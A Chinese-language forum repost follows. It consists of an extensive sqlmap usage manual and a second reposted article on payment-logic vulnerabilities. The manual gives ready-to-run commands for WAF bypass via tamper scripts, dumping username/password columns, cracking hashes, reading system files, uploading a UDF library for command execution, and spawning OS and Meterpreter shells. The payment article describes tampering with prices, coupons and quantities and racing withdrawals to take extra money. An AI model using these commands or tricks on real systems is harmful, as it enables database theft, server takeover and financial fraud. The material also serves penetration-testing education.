    value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     获取表中的数据个数     sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     站点爬取  sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     注入时间预估(基于布尔)  sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     使用hex避免字符编码导致数据丢失    sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     模拟测试手机环境站点     python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     智能判断测试     sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     结合burpsuite进行注入  sqlmap.py -r burpsuite 抓包.txt     sqlmap 自动填写表单注入  sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    读取linux下文件sqlmap.py-u “url” –file /etc/password     sqlmap cookies 注入  sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     连接mysql数据打开一个交互shell  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     执行shell命令  sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     延时注入  sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     
    0X04 结束语
    Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
    看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~ 查看全部
    在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 
    -u "url"

    如果第一次用sqlmap扫不出来的话顶多会将参数改为
    -u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



     而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
    SQLMAP深度解析及使用手册
    0X00 背景
    写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

    二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
    我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

    有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。

    0X01 SqlMap介绍及分析
    SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.
    sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








    SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
    SQLMAP目前支持的注入方式包括(默认全进行):
    l   B: Boolean-based blind SQL injection(布尔型注入)

    l E: Error-based SQL injection(报错型注入)

    l U: UNION query SQL injection(可联合查询注入)

    l S: Stacked queries SQL injection(可多语句查询注入)

    l T: Time-based blind SQL injection(基于时间延迟注入)

    l Q: Inline SQL Injection (内联注入)

    SQLMAP 分析:
    SQLMAP的功能模块参数由几大类构成(见下表),分别是:  

    1.png

     
    0X02 Sqlmap使用经验总结
    以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:
    [size=20]1  [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com 
    [size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
    例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
    4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
    5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
    6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
    7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
    8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
    9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
    10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
    例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
    11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
    12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
    参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
    13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
    14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
    –level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
    15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
    警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
    16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
    用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
    17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
    B:Boolean-based blind SQL injection(布尔型注入)
    E:Error-based SQL injection(报错型注入)
    U:UNION query SQL injection(可联合查询注入)
    S:Stacked queries SQL injection(可多语句查询注入)
    T: Time-based blind SQL injection(基于时间延迟注入)
    Q: Inline SQL Injection (内联注入)
    当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
    18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
    19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
    当我们不想跑路的时候,那么请使用下面内容:
    –start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
    –start=1
    –stop=LIMITSTOP
    Last query output entry to retrieve
    指定从第几行停止输出
    –stop=10
    –first=FIRSTCHAR
    First query output word character to retrieve
    指定从第几个字符开始输出
    –first 1
    –last=LASTCHAR
    Last query output word character to retrieve
    指定从第几个字符停止输出–last10
    20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
    21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
    1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
    2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
    3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
    4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
    22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
    23 –batch
    在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
    –output-dir=
    指定输出路径,方式控制台输出过多,无法查看,也方便记录
    –gpage=GOOGLEPAGE
    好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
    –identify-waf
    进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
    –mobile
    使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
    -user-agent
    自己指定
    –smart
    智能深度启发式扫描,或许会有惊喜呢。
    –wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

     
     
    0X03 Sqlmap实操语句
    手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
    1. 原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 
    2. 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1
    3. 构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     

    基础检测语法   
    sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024 

         
    批量检测  
    “sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。
        
    绕过WAF进行SQL注入     
    1. 修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 
    2. 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 
    3. 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 
    4. 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 

    tamper目录下文件具体含义
    space2comment.py
    用/**/代替空格
    apostrophemask.py
    用utf8代替引号
    equaltolike.pylike
    代替等号
    space2dash.py
    绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
    greatest.py
    绕过过滤’>’ ,用GREATEST替换大于号。
    space2hash.py
    空格替换为#号,随机字符串以及换行符
    apostrophenullencode.py
    绕过过滤双引号,替换字符和双引号。
    halfversionedmorekeywords.py
    当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
    space2morehash.py
    空格替换为#号
    以及更多随机字符串
    换行符
    appendnullbyte.py
    在有效负荷结束位置加载零字节字符编码
    ifnull2ifisnull.py
    绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
    base64encode.py
    用base64编码替换
    space2mssqlhash.py
    替换空格
    modsecurityversioned.py
    过滤空格,包含完整的查询版本注释
    space2mysqlblank.py
    空格替换其它空白符号(mysql)
    between.py
    用between替换大于号(>)
    space2mysqldash.py
    替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
    multiplespaces.py
    围绕SQL关键字添加多个空格
    space2plus.py
    用+替换空格
    bluecoat.py
    代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
    nonrecursivereplacement.py
    双重查询语句,取代SQL关键字
    space2randomblank.py
    代替空格字符(“”)从一个随机的空白字符可选字符的有效集
    sp_password.py
    追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
    chardoubleencode.py
    双url编码(不处理以编码的)
    unionalltounion.py
    替换UNION ALLSELECT UNION SELECT
    charencode.py
    url编码
    randomcase.py
    随机大小写
    unmagicquotes.py
    宽字符绕过
    GPCaddslashes randomcomments.py
    用/**/分割sql关键字
    charunicodeencode.py
    字符串unicode编码
    securesphere.py
    追加特制的字符串
    versionedmorekeywords.py
    注释绕过 space2comment.py
    替换空格字符串(‘‘) 使用注释‘/**/’
    halfversionedmorekeywords.py

      
    URL重写SQL注入测试   
    • value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
    列举并破解密码哈希值 
    • 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     
    获取表中的数据个数     
    • sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     
    站点爬取  
    • sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     
    注入时间预估(基于布尔)  
    • sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     
    使用hex避免字符编码导致数据丢失    
    • sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     
    模拟测试手机环境站点     
    • python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     
    智能判断测试     
    • sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     
    结合burpsuite进行注入  
    • sqlmap.py -r burpsuite 抓包.txt     
    sqlmap 自动填写表单注入  
    • sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    
    读取linux下文件
    • sqlmap.py-u “url” –file /etc/password     
    sqlmap cookies 注入  
    • sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     
    连接mysql数据打开一个交互shell  
    • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     
    利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  
    • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     
    执行shell命令  
    • sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     
    延时注入  
    • sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     

    0X04 结束语
    Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
    看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~

    【转帖】支付漏洞之总结

    cat 发表了文章 • 0 个评论 • 147 次浏览 • 2019-03-08 20:30 • 来自相关话题

    转自(https://butian.360.cn/School/content?id=395)
     
    支付漏洞一直以来就是是高风险,对企业来说危害很大,对用户来说同样危害也大。就比如我用他人账户进行消费,这也属于支付漏洞中的越权问题。那么支付漏洞一般存在在哪些方面呢,根据名字就知道,凡是涉及购买、资金等方面的功能处就有可能存在支付问题。本文章将分类来进行讲述支付漏洞当中的那些思路。
    首先说下支付问题的思路
    0x01   修改支付价格
    在支付当中,购买商品一般分为三步骤:订购、确认信息、付款。
    那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。
    这里我找到了相关例子:
    http://www.anquan.us/static/bugs/wooyun-2016-0174748.html 
    0x02   修改支付状态
    这个问题我隐约的遇到过,之前在找相关资料的时候发现了一篇文章讲的是修改支付状态为已支付状态这样的思路,然后勾起了我的回想,这个问题是没有对支付状态的值跟实际订单支付状态进行校验,导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。
    0x03   修改购买数量
    在支付的过程中,数量也同时决定着价格,比如:1个数量商品对应的是100,2个数据就是200,那么当你修改这个值数量值为负数时,那么其金额也会变为负数,最后就会导致支付问题的产生。
    0x04   修改附属值
    这里是我自己想的一个词,比如在很多购买的时候都可以利用积分或者优惠劵等等进行代替金额付款,那么就容易存在问题。在这里我把附属值分为几类进行讲述。
    ①:修改优惠劵金额
    优惠劵其基本都是优惠一半,一般用优惠劵进行消费一般出现在第二个步骤当中:确认购买信息,在这个步骤页面当中,你可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格就可以,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功。
    ②:修改优惠劵金额及业务逻辑问题
    可能你看到这个标题会想到,你不是上一个讲的就是这个修改优惠劵金额的问题嘛?为什么还要再讲一遍这个?请继续看!
    之前遇到过这个漏洞,这个漏洞也是逻辑问题导致了成功利用,同样在是在第二部确认购买信息当中有可选择优惠劵进行支付,但是,当你修改其优惠劵值为任意值或负值想要支付的时候,会回显支付失败,或者金额有误等一些提示,可能这时很多白帽子会很失望然后就会去其它点找问题了,但当你找到个人中心,点击订单详情,如果存在这个逻辑问题,那么此时在你刚刚修改优惠劵金额后点击下一步支付的时候,其实这时候就已经产生了订单了,你在订单详情内就可以看到支付金额为0,因为你刚刚修改了优惠劵金额嘛,然后你点击支付就可以支付成功。
    当然,这里还要说下小技巧,有可能会支付失败,但是如果你找到的这个问题是一个一般业务分站点,如果有自带的一个钱包功能,那么你就可以利用这个只带的钱包功能去支付这个订单,而不要利用其它支付类型,那么就可以支付成功!
    ③:修改积分金额
    有些网站有积分,比如你消费多少,评论多少就可以拥有一定的积分数量,这个积分可以在你付款的时候进行折扣其订单金额,如果这个没有做好积分金额的校验,那么当你在支付当中选择用积分为账户减一些金额的时候,可以抓包修改其积分金额为任意数或负金额,然后可0元支付成功。
    相关例子:http://www.anquan.us/static/bugs/wooyun-2015-0139556.html  
    0x05   修改支付接口
    比如一些网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功。
     0x06   多重替换支付
    以前好像也看到过相关的例子,首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单而的商品。
     0x07   重复支付
    这个其实只是支付当中的一个别类,但是这个思路新颖,所以我就列了出来,比如一些交易市场有一类似于试用牌子或者其它,这个试用牌子可以依靠签到获得,而这个牌子的作用可以去试用一些商品,在你进行试用的时候会扣掉你的试用牌子,当你试用完成或者主动取消试用时,试用牌子会返回到账户当中,你知道,签到得到的牌子肯定很少,且如果想试用好一点的商品那么牌子的数量就尤为重要了。
    这里的问题就是如果没有进行对订单多重提交的校验,那么就可导致无限制刷牌子,比如,你试用时抓包,然后你每次试用都会产生一个订单号,然后利用刚抓到的数据包进行批量提交,你就可以看到每次提交的订单号不一样,然后这时你再看订单可以看到同一个商品的无数订单,但试用牌子数只扣了你第一个试验时的牌子数,那么这时你申请批量退出试用,那么这么多订单,每退一个就会退相应的牌子数量到账户当中,这就构成了无限制刷得问题。
     0x08   最小额支付
    在很多白帽子测试支付的漏洞时候,修改的金额往往都是0.01等或者负数,我想说这很容易错失掉一些潜在的支付问题,我就深有体会,在挖掘支付漏洞的过程当中,就遇到过,直到第三次再一次检测时才发现,比如一些网站有金币或者积分什么就相当于支付可以用这些支付,那么在充值的时候,比如:10元对应的积分值为100、50对应的是5000、100对应的是10000。
    这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功,也就用1元购买到任意值得积分数量了,这是为什么呢?
    其实你在测试过程当中细心点就可以很好发现的,这里最低就是1元,1元对应100积分,而你如果修改为0.01,那么对应的积分就是空值了,所以会显示失败,而当你修改为1元,那么1元这个支付接口是存在的,其后面积分数为其它金额的积分数,然后跳转过去支付就会以1元购买到比它多得多的积分数量,也可以是任意积分值。
     0x09   值为最大值支付问题
    以前也是看到过相关的例子,一些网站比如你购买商品,这里有2个思路修改值,1是直接修改支付金额值为最大值,比如999999999,或者修改附属值,如优惠卷,积分等为999999999,如果这里逻辑设计有问题,那么其支付金额会变为0。
     0x10   越权支付
    这个问题很早之前有过,现在可能很少存在这类问题,在支付当中会出现当前用户的ID,比如:username=XXXXX,如果没有加以验证,其支付也是一次性支付没有要求输入密码什么的机制,那么就可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品。
     0x11   无限制试用
    一些网站的一些商品,比如云系列产品支持试用,试用时期一般为7天或者30天,一个账户只能试用一次,试用期间不能再试用,但如果这个试用接口会做好分配那么很容易导致问题的发生。
    这也是我遇到过的例子,比如:在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功,又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了。
     
     0x12   修改优惠价
    比如一些商品有优惠价,优惠多少多少,那么在支付时抓包,修改这个优惠价就可造成支付问题的产生。
     以下是不常见思路 
    0x01   多线程并发问题
    可能很多白帽子知道,也有可能不知道,或者听说过,但是没有实际挖掘过,那么我相信,这个思路会让你们有新的挖掘方向了。
    现在可能还有一些大厂商存在该问题,多线程并发问题就是没有实时的处理各种状态所导致的问题,之前挖掘过刷钱问题,就是利用该思路,比如很多平台有自家的钱包,而这个钱包是一个迷你钱包,这个钱包作用也仅是用于这当前一个业务平台网站,在提现时,没有任何验证码或者校验机制,只要输入体现金额就可以提现,并且是秒到账,如果什么负数,修改金额都测试过了都不行,那么你就可以试试多线程并发问题,提现时抓包,比如我现在钱包内有0.1元,那么按理说每提0.01可以体现10次,也就是发送10次进程,但是利用这个问题可以达到多发现几次成功的进程,提现时抓包,然后把数据包发送到BurpSuite工具的Intruder当中,进行批量发送18次,然后可以看到成功的提现到了12次。
    这里我贴出相关证明图片:
    这里是从0开始到11截止,我账户内只有0.1 而这里体现了0.12 也就是提现的进程为12次,369为提现成功,349为提现失败的长度值,从这里就可以看出这个问题的危害了,当然此时账户的金额肯定是为负的了,如果把这个提现金额变大,那么这多提现的金额可不是闹着玩的。
    当然,多线程也可以在其它功能处进行测试,比如我之前讲到的试用商品问题,就可以通过多线程进行多几次的使用,比如利用积分总换礼品,一个账户只能进行总换一次,利用这个问题,可以多几次总换,一些转账功能,提现功能,购买功能等等很多。
